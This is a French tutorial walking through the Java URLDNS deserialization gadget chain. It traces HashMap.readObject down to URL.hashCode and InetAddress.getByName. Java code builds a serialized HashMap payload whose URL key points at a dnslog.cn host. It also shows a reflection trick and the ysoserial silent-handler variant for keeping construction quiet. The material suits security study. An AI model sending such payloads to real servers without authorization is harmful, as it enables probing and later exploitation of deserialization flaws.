Approche utilisant HashMap et URL pour déclencher des vérifications DNS
Chaîne d'exploitation
HashMap → readObject()
HashMap → hash()
URL → hashCode()
URL → getByName() (fonction de résolution DNS)
Analyse de l'exploitation
Créez d'abord une classe TestDns avec un objet HashMap et un objet URL
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class TestDns {
public static void main(String[] args) throws MalformedURLException {
HashMap map = new HashMap<>();//Création d'un objet HashMap
URL urlObject = new URL("http://test.dnslog.cn");
map.put(urlObject,"valeur");
}
}
En maintenant la touche Ctrl enfoncée, cliquez avec le bouton gauche sur HashMap pour accéder à sa définition. Dans la fenêtre de structure, trouvez la méthode readObject et remarquez qu'elle utilise la méthode hash pour le chiffrement de la clé.
Accédez à la méthode hash. On y voit qu'elle prend un objet en paramètre et utilise la méthode hashCode de cet objet pour le chiffrement.
Cette chaîne d'exploitation utilise la méthode hashCode de la classe URL.
Accédez à la classe URL et trouvez sa méthode hashCode. On constate qu'elle vérifie d'abord si la valeur hashCode est -1, auquel cas elle quitte directement, sinon elle exécute le code suivant.
Dans la classe handler, trouvez la méthode hashCode. On constate qu'elle appelle la méthode getHostAddress de l'objet URL.
Accédez à la méthode getHostAddress. On y voit un appel à InetAddress.getByName, méthode qui résout l'adresse IP de l'hôte par DNS. La chaîne d'exploitation se termine ici.
Point important
Il faut sérialiser l'objet HashMap pour que la désérialisation déclenche une résolution DNS. Si une résolution DNS se produit avant la désérialisation, il n'y aura pas de nouvelle requête sur la plateforme dnslog.
Solution : cela n'affecte que la reproduction locale, et l'utilisation de la fonctionnalité Collaborator de Burp Suite récent n'est pas affectée.
Solutino 1 : Actualiser les enregistrements DNS locaux
ipconfig /flushdns
Solution 2 : Utiliser la réflexion pour modifier la valeur hashCode
L'idée est de modifier la valeur hashCode de l'objet URL avant la méthode put pour qu'elle ne soit pas -1, évitant ainsi la requête DNS. Voici l'implémentation :
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class TestDns {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap map = new HashMap<>();
URL urlObject = new URL("http://exemple.dnslog.cn");
// Utiliser la réflexion pour obtenir la méthode hashCode de la classe URL
Class c = Class.forName("java.net.URL");
Field fieldHashCode = c.getDeclaredField("hashCode");
fieldHashCode.setAccessible(true); // Modifier l'accès à une variable private
fieldHashCode.set(urlObject, 1); // Définir une valeur autre que -1
map.put(urlObject, "valeur"); // Pas de requête DNS car hashCode n'est pas -1
fieldHashCode.set(urlObject, -1); // Restaurer la valeur
// Sérialiser l'objet HashMap dans un fichier
FileOutputStream fileOutputStream = new FileOutputStream("./serialise.txt");
ObjectOutputStream serial = new ObjectOutputStream(fileOutputStream);
serial.writeObject(map);
serial.close();
fileOutputStream.close();
}
}
Créez une nouvelle classe avec le code de désérialisation :
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Deserialisation {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("./serialise.txt");
ObjectInputStream deserial = new ObjectInputStream(fileInputStream);
deserial.readObject();
deserial.close();
fileInputStream.close();
}
}
Exécutez d'abord le code de sérialisation, puis celui de désérialisation.
Note : Pour Java 21, la modification de variables private par réflexion n'est pas autorisée, mais cela fonctionne avec Java 8.
Solution alternative : Utiliser l'approche d'ysoserial
Ysoserial utilise un constructeur à trois paramètres pour l'objet URL et crée une classe interne pour éviter le risque de requête DNS :
static class GestionnaireURLSilencieux extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Cette classe définit des méthodes getConnection et getHostAddress. Lorsque la méthode put est appelée et atteint getHostAddress, elle utilise la version de GestionnaireURLSilencieux qui retourne null, évitant ainsi la requête DNS.
La requête DNS se produit toujours lors de la désérialisation car la propriété handler est marquée comme transient et ne peut pas être sérialisée. La valeur d'origine (URLStreamHandler) est restaurée lors de la désérialisation.
Processus de recherche de vulnérabilité
- La méthode readObject de HashMap appelle la méthode hash
- La méthode hash utilise la méthode hashCode de l'objet clé passé en paramètre
- En recherchant les classes qui implémentent hashCode, on trouve java.net.URL
- La méthode hashCode de URL utilise celle de l'objet handler (URLStreamHandler)
- La méthode hashCode de URLStreamHandler utilise getHostAddress
- La méthode getHostAddress appelle u.getHostAddress() qui retourne à la méthode de la classe URL
- La méthode getHostAddress de URL utilise InetAddress.getByName(host) pour la résolution DNS
Diagramme de flux
HashMap(readObject) → HashMap(hash)
→ HashMap(hash → [objet]hashCode)
→ URL(hashCode → URLStreamHandler.hashCode)
→ URLStreamHandler(hashCode → [InetAddress]getHostAddress)
→ URLStreamHandler(getHostAddress → [URL]u.getHostAddress())
→ URL(InetAddress.getByName)
Approche de construction de POC
L'objectif est de faire en sorte que la désérialisation de HashMap exécute la méthode hashCode de l'objet clé, qui doit être de type URL.
HashMap map = new HashMap<>();//Création d'un objet HashMap
URL urlObject = new URL("http://exemple.dnslog.cn");
map.put(urlObject, "valeur");